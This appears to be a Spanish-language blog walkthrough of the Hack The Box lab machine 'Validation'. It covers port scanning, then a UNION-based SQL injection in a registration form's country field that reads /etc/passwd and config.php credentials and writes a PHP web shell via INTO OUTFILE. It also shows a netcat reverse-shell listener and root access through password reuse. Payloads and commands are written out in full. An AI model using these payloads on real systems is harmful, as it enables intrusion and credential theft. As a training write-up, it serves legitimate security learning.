Post

Validation - HTB

Validation - HTB

Enumeration

Vamos a empezar con un escaneo nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[Apr 07, 2026 - 20:34:40 (CEST)] exegol-htb Validation # nmap -p- --open -sS -n -Pn -vvv 10.129.17.24             
Starting Nmap 7.93 ( https://nmap.org ) at 2026-04-07 20:34 CEST
Initiating SYN Stealth Scan at 20:34
Scanning 10.129.17.24 [65535 ports]
Discovered open port 8080/tcp on 10.129.17.24
Discovered open port 22/tcp on 10.129.17.24
Discovered open port 80/tcp on 10.129.17.24
Discovered open port 4566/tcp on 10.129.17.24
Completed SYN Stealth Scan at 20:35, 17.38s elapsed (65535 total ports)
Nmap scan report for 10.129.17.24
Host is up, received user-set (0.044s latency).
Scanned at 2026-04-07 20:34:42 CEST for 18s
Not shown: 65378 closed tcp ports (reset), 153 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
80/tcp   open  http       syn-ack ttl 62
4566/tcp open  kwtc       syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 17.42 seconds
           Raw packets sent: 65853 (2.898MB) | Rcvd: 65489 (2.620MB)

Vamos a realizar un segundo escaneo para obtener más información sobre los puertos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[Apr 07, 2026 - 20:36:07 (CEST)] exegol-htb Validation # nmap -p22,80,4566,8080 -sCV 10.129.17.24                          
Starting Nmap 7.93 ( https://nmap.org ) at 2026-04-07 20:36 CEST
Nmap scan report for 10.129.17.24
Host is up (0.045s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d8f5efd2d3f98dadc6cf24859426ef7a (RSA)
|   256 463d6bcba819eb6ad06886948673e172 (ECDSA)
|_  256 7032d7e377c14acf472adee5087af87a (ED25519)
80/tcp   open  http    Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
4566/tcp open  http    nginx
|_http-title: 403 Forbidden
8080/tcp open  http    nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.67 seconds
PORTDESCRIPTION
22/TCPOpenSSH 8.2p1
80/TCPApache httpd 2.4.48
4566/TCPNginx
8080/TCPNginx

Website - TCP 80

Vamos a visitar la aplicación web:

Vemos que podemos registrarnos, vamos a probar:

Vamos a ver que petición se tramita por atrás:

Vemos que se tramita por el método POST, vamos a probar a añadir una ' para ver si esto se está tramitando por alguna consulta y no está bien configurada:

  • username

Un detalle que podemos ver es el siguiente, nuestro input podemos verlo reflejado en account.php:

Otro input que se está viendo es el país, vamos a probar a añadirle una ':

  • country:

Vamos a ver en account.php:

Vemos un error, donde nos esta comentando un error con la función fetch_assoc() que si buscamos:

Vemos que estamos ocasionando un fallo en la base de datos. Vamos a probar un UNION based.

SQL Injection Union Based

Vamos a intentar enumerar el número de columnas existentes en la tabla en uso:

  • Payload:
1
'ORDER+BY+1--+-

Vamos a probar 5:

  • Payload:
1
'ORDER+BY+5--+-

Vemos que con 5 columnas se queja, vamos a probar 4:

Vamos a probar 3:

Vamos a probar con 2:

Vale, la tabla que se esta empleando solo tiene 1 columna. Así que a futuro si queremos reflejar varios valores podemos usar group_concat o concat para concatenar resultados.

Shell as www-data

Sabiendo que nuestro input se refleja vamos a intentar leer un archivo interno del sistema:

Para ello usaremos la función LOAD_FILE():

1
'UNION SELECT LOAD_FILE('/etc/passwd')--+-

Podemos leer archivos arbitrarios del sistema, vamos a ver base de datos está empleando y su versión:

1
'UNION SELECT @@version--+-

Estamos ante una base de datos MariaDB, vamos a enumerar que usuario se está empleando:

1
'UNION SELECT user()--+-

Vemos el usuario uhc, si vemos el /etc/passwd no existe en el sistema ningún usuario solo root. Vamos a intentar leer el código fuente, en este caso la aplicación está empleando PHP.

Antes de intentar cualquier cosa tenemos que intentar ver el archivo de configuración de Apache:

1
'UNION SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf')--+-

Vemos que existe el archivo predeterminado de configuración de Apache.

En este caso vemos que está empleando la ruta /var/www/html la predeterminada en estos casos. Vamos a intentar leer el archivo index.php para ver si se encuentra en esa ubicación:

1
'UNION SELECT LOAD_FILE('/var/www/html/index.php')--+-

Bien, tenemos el código fuente de index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
require('config.php');

if ($_SERVER['REQUEST_METHOD'] == 'POST') {

    $userhash = md5($_POST['username']);

    $sql = "INSERT INTO registration (username, userhash, country, regtime)
            VALUES (?, ?, ?, ?)";

    $stmt = $conn->prepare($sql);
    $stmt->bind_param(
        "sssi",
        $_POST['username'],
        $userhash,
        $_POST['country'],
        time()
    );

    if ($stmt->execute()) {
        setcookie('user', $userhash);
        header("Location: /account.php");
        exit;
    }

    $sql = "UPDATE registration SET country = ? WHERE username = ?";
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("ss", $_POST['country'], $_POST['username']);
    $stmt->execute();

    setcookie('user', $userhash);
    header("Location: /account.php");
    exit;
}
?>

<link href="css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="js/bootstrap.min.js"></script>
<script src="js/jquery.min.js"></script>

<!------ Include the above in your HEAD tag ---------->

<div>
    <div class="container">
        <h1 class="text-center m-5">
            Join the UHC - September Qualifiers
        </h1>
    </div>

    <section class="bg-dark text-center p-5 mt-4">
        <div class="container p-3">
            <h3 class="text-white">Register Now</h3>

            <form action="#" method="POST">
                <input type="text" name="username" placeholder="Username">

                <select id="country" name="country">
                    <option value="Brazil">Brazil</option>
                    <option value="Afganistan">Afghanistan</option>
                    <option value="Albania">Albania</option>
                    <option value="Algeria">Algeria</option>
                    <option value="American Samoa">American Samoa</option>
                    <option value="Andorra">Andorra</option>
                    <option value="Angola">Angola</option>
                    <option value="Anguilla">Anguilla</option>
                    <option value="Antigua & Barbuda">Antigua & Barbuda</option>
                    <option value="Argentina">Argentina</option>
					[...]
                </select>

                <button type="submit" class="btn btn-default">
                    Join Now <i class="fa fa-envelope"></i>
                </button>
            </form>
        </div>
    </section>
</div>

No vemos nada interesante que nos pueda servir, vamos a realizar fuzzing para ver otros archivos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[Apr 10, 2026 - 19:31:05 (CEST)] exegol-htb Validation # ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -ic -u "http://validation.htb/FUZZ" -e .php -c

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://validation.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
 :: Extensions       : .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

account.php             [Status: 200, Size: 16, Words: 2, Lines: 1, Duration: 45ms]
css                     [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 44ms]
                        [Status: 200, Size: 16088, Words: 4698, Lines: 269, Duration: 4503ms]
index.php               [Status: 200, Size: 16088, Words: 4698, Lines: 269, Duration: 4509ms]
js                      [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 44ms]
config.php              [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 46ms]

Vamos a leer el archivo config.php:

1
'UNION SELECT LOAD_FILE('/var/www/html/config.php')--+-

Obtenemos las credenciales del usuario de la base de datos. Pero no nos sirve para mucho actualmente…

Vamos a intentar escribir en el sistema usando la función INTO OUTFILE:

  • Payload:
1
'UNION SELECT 'test' INTO OUTFILE '/var/www/html/test'--+-

Vamos a probar si existe el archivo:

Bien, vamos a crear una web shell:

1
'UNION SELECT '<?php system($_GET[0]); ?>' INTO OUTFILE '/var/www/html/cmd.php'--+-

1
2
[Apr 10, 2026 - 19:36:07 (CEST)] exegol-htb Validation # curl -s "http://validation.htb/cmd.php?0=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Vamos a darnos reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
[Apr 10, 2026 - 19:38:11 (CEST)] exegol-htb Validation # nc -nvlp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.95.235.
Ncat: Connection from 10.129.95.235:41224.
Linux validation 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 GNU/Linux
 17:38:16 up 51 min,  0 users,  load average: 0.00, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@validation:/$ 

Shell as root

Vamos a probar las credenciales obtenidas anteriormente para ver si hay reutilización de ellas:

1
2
3
www-data@validation:/$ su
Password: 
root@validation:/#

This post is licensed under CC BY 4.0 by the author.